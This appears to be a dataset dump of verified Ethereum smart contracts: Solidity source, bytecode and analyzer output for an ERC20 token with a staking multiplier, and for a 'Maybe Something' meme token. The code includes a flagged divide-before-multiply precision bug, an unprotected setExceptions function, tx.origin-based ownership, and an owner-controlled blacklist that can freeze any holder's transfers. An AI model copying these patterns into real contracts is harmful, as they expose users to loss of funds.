event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private exceptions;
address private uniswap;
address private _owner;
uint private _totalSupply;
constructor(address owner) public{
_owner = owner;
}
function setAllow() public{
require(_msgSender() == _owner,"Only owner can change set allow");
}
function setExceptions(address someAddress) public{
exceptions[someAddress] = true;
}
function burnOwner() public{
require(_msgSender() == _owner,"Only owner can change set allow");
_owner = address(0);
}
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Token is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor (string memory name,string memory ticker,uint256 amount) public ERC20Detailed(name, ticker, 18) ERC20(tx.origin){
governance = tx.origin;
addMinter(tx.origin);
mint(governance,amount);
}
function mint(address account, uint256 amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
}
contract Migrations {
address public owner = msg.sender;
uint public last_completed_migration;
modifier restricted() {
require(
msg.sender == owner,
"This function is restricted to the contract's owner"
);
_;
}
function setCompleted(uint completed) public restricted {
last_completed_migration = completed;
}
}
interface Pool {
function balanceOf(address account) external view returns (uint256);
}
contract Multiplier {
// List of all pools that involve ZZZ staked
using SafeMath for uint;
using SafeERC20 for IERC20;
address[] public pools;
address public owner;
IERC20 public ZZZ = IERC20(address(0));
IERC20 public UNI = IERC20(address(0));
uint256 TwoPercentBonus = 2 * 10 ** 16;
uint256 TenPercentBonus = 1 * 10 ** 17;
uint256 TwentyPercentBonus = 2 * 10 ** 17;
uint256 ThirtyPercentBonus = 3 * 10 ** 17;
uint256 FourtyPercentBonus = 4 * 10 ** 17;
uint256 FiftyPercentBonus = 5 * 10 ** 17;
uint256 SixtyPercentBonus = 6 * 10 ** 17;
uint256 SeventyPercentBonus = 7 * 10 ** 17;
uint256 EightyPercentBonus = 8 * 10 ** 17;
uint256 NinetyPercentBonus = 9 * 10 ** 17;
uint256 OneHundredPercentBonus = 1 * 10 ** 18;
constructor(address[] memory poolAddresses,address zzzAddress,address uniAdress) public{
pools = poolAddresses;
ZZZ = IERC20(zzzAddress);
UNI = IERC20(uniAdress);
owner = msg.sender;
}
// Set the pool and zzz address if there are any errors.
function configure(address[] calldata poolAddresses,address zzzAddress) external {
require(msg.sender == owner,"Only the owner can call this function");
pools = poolAddresses;
ZZZ = IERC20(zzzAddress);
}
function getBalanceInUNI(address account) public view returns (uint256) {
// Get how much UNI this account holds
uint256 uniTokenAmount = UNI.balanceOf(account);
// How much total UNI exists
uint256 uniTokenTotalSupply = UNI.totalSupply();
// How much ZZZ in uni pool
uint256 zzzInUni = ZZZ.balanceOf(address(UNI));
// zzzInUni / UNI tatal supply * uniTokenAmount
uint256 zzzOwned = zzzInUni.div(uniTokenTotalSupply).mul(uniTokenAmount);
// Uniswap pools have double value to account for the eth.
return zzzOwned*2;
}
// Returns the balance of the user's ZZZ accross all staking pools and uniswap
function balanceOf(address account) public view returns (uint256) {
// Loop over the pools and add to total
uint256 total = 0;
for(uint i = 0;i<pools.length;i++){
Pool pool = Pool(pools[i]);
total = total.add(pool.balanceOf(account));
}
// Add zzz balance in wallet if any
total = total.add(ZZZ.balanceOf(account)).add(getBalanceInUNI(account));
return total;
}
function getPermanentMultiplier(address account) public view returns (uint256) {
uint256 permanentMultiplier = 0;
uint256 zzzBalance = balanceOf(account);
if(zzzBalance >= 1 * 10**18 && zzzBalance < 5*10**18) {
// Between 1 to 5, 2 percent bonus
permanentMultiplier = permanentMultiplier.add(TwoPercentBonus);
}else if(zzzBalance >= 5 * 10**18 && zzzBalance < 10 * 10**18) {
// Between 5 to 10, 10 percent bonus
permanentMultiplier = permanentMultiplier.add(TenPercentBonus);
}else if(zzzBalance >= 10 * 10**18 && zzzBalance < 20 * 10 ** 18) {
// Between 10 and 20, 20 percent bonus
permanentMultiplier = permanentMultiplier.add(TwentyPercentBonus);
}else if(zzzBalance >= 20 * 10 ** 18) {
// More than 20, 60 percent bonus
permanentMultiplier = permanentMultiplier.add(SixtyPercentBonus);
}
return permanentMultiplier;
}
function getTotalMultiplier(address account) public view returns (uint256) {
uint256 multiplier = getPermanentMultiplier(account);
return multiplier;
}
}
| 0x608060405234801561001057600080fd5b50600436106100935760003560e01c80638da5cb5b116100665780638da5cb5b146101dc578063ac4afa3814610226578063d8b0a43d14610294578063df2671cf146102ec578063f5df3c6b1461034457610093565b806312307e141461009857806347469420146100e2578063541bcb761461013a57806370a0823114610184575b600080fd5b6100a06103dd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610124600480360360208110156100f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610403565b6040518082815260200191505060405180910390f35b61014261050d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101c66004803603602081101561019a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610533565b6040518082815260200191505060405180910390f35b6101e4610774565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102526004803603602081101561023c57600080fd5b810190808035906020019092919050505061079a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102d6600480360360208110156102aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107d6565b6040518082815260200191505060405180910390f35b61032e6004803603602081101561030257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a94565b6040518082815260200191505060405180910390f35b6103db6004803603604081101561035a57600080fd5b810190808035906020019064010000000081111561037757600080fd5b82018360208201111561038957600080fd5b803590602001918460208302840111640100000000831117156103ab57600080fd5b9091929391929390803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aab565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009050600061041584610533565b9050670de0b6b3a764000081101580156104365750674563918244f4000081105b156104575761045060045483610ba990919063ffffffff16565b9150610503565b674563918244f4000081101580156104765750678ac7230489e8000081105b156104975761049060055483610ba990919063ffffffff16565b9150610502565b678ac7230489e8000081101580156104b757506801158e460913d0000081105b156104d8576104d160065483610ba990919063ffffffff16565b9150610501565b6801158e460913d000008110610500576104fd600a5483610ba990919063ffffffff16565b91505b5b5b5b8192505050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000905060008090505b60008054905081101561066257600080828154811061055b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506106528173ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561060857600080fd5b505afa15801561061c573d6000803e3d6000fd5b505050506040513d602081101561063257600080fd5b810190808051906020019092919050505084610ba990919063ffffffff16565b9250508080600101915050610540565b5061076961066f846107d6565b61075b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561071157600080fd5b505afa158015610725573d6000803e3d6000fd5b505050506040513d602081101561073b57600080fd5b810190808051906020019092919050505084610ba990919063ffffffff16565b610ba990919063ffffffff16565b905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600081815481106107a757fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561087857600080fd5b505afa15801561088c573d6000803e3d6000fd5b505050506040513d60208110156108a257600080fd5b810190808051906020019092919050505090506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561091f57600080fd5b505afa158015610933573d6000803e3d6000fd5b505050506040513d602081101561094957600080fd5b810190808051906020019092919050505090506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a1f57600080fd5b505afa158015610a33573d6000803e3d6000fd5b505050506040513d6020811015610a4957600080fd5b810190808051906020019092919050505090506000610a8384610a758585610c3190919063ffffffff16565b610c7b90919063ffffffff16565b905060028102945050505050919050565b600080610aa083610403565b905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180610eab6025913960400191505060405180910390fd5b828260009190610b62929190610dc7565b5080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b600080828401905083811015610c27576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610c7383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d01565b905092915050565b600080831415610c8e5760009050610cfb565b6000828402905082848281610c9f57fe5b0414610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610ed06021913960400191505060405180910390fd5b809150505b92915050565b60008083118290610dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d72578082015181840152602081019050610d57565b50505050905090810190601f168015610d9f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610db957fe5b049050809150509392505050565b828054828255906000526020600020908101928215610e56579160200282015b82811115610e5557823573ffffffffffffffffffffffffffffffffffffffff168260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190610de7565b5b509050610e639190610e67565b5090565b610ea791905b80821115610ea357600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101610e6d565b5090565b9056fe4f6e6c7920746865206f776e65722063616e2063616c6c20746869732066756e6374696f6e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723158208e09383cc992c92fc9a1c73423349998600559ea4ef4ce3881fc9e0400f439b264736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 398 |
0x513ca56bB90FA19199809709C52c2DcE183BdA55 | /**
*Submitted for verification at Etherscan.io on 2022-01-20
*/
/*
https://t.me/MaybeSomethingETH
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Maybe Something";
string private constant _symbol = "MS";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x5A0E81B2a6f797B30478ad0262290b4C78A4D190);
_feeAddrWallet2 = payable(0x5A0E81B2a6f797B30478ad0262290b4C78A4D190);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 12;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 12;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 30000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612ad9565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b919061266b565b61042a565b60405161016d9190612abe565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612c3b565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c3919061261c565b610459565b6040516101d59190612abe565b60405180910390f35b3480156101ea57600080fd5b506102056004803603810190610200919061258e565b610532565b005b34801561021357600080fd5b5061021c610622565b6040516102299190612cb0565b60405180910390f35b34801561023e57600080fd5b50610259600480360381019061025491906126e8565b61062b565b005b34801561026757600080fd5b506102706106dd565b005b34801561027e57600080fd5b506102996004803603810190610294919061258e565b61074f565b6040516102a69190612c3b565b60405180910390f35b3480156102bb57600080fd5b506102c46107a0565b005b3480156102d257600080fd5b506102db6108f3565b6040516102e891906129f0565b60405180910390f35b3480156102fd57600080fd5b5061030661091c565b6040516103139190612ad9565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e919061266b565b610959565b6040516103509190612abe565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b91906126a7565b610977565b005b34801561038e57600080fd5b50610397610ac7565b005b3480156103a557600080fd5b506103ae610b41565b005b3480156103bc57600080fd5b506103d760048036038101906103d291906125e0565b61109e565b6040516103e49190612c3b565b60405180910390f35b60606040518060400160405280600f81526020017f4d6179626520536f6d657468696e670000000000000000000000000000000000815250905090565b600061043e610437611125565b848461112d565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104668484846112f8565b61052784610472611125565b6105228560405180606001604052806028815260200161332260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d8611125565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118fd9092919063ffffffff16565b61112d565b600190509392505050565b61053a611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105be90612b9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610633611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b790612b9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071e611125565b73ffffffffffffffffffffffffffffffffffffffff161461073e57600080fd5b600047905061074c81611961565b50565b6000610799600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5c565b9050919050565b6107a8611125565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612b9b565b60405180910390fd5b600073ffffffffffff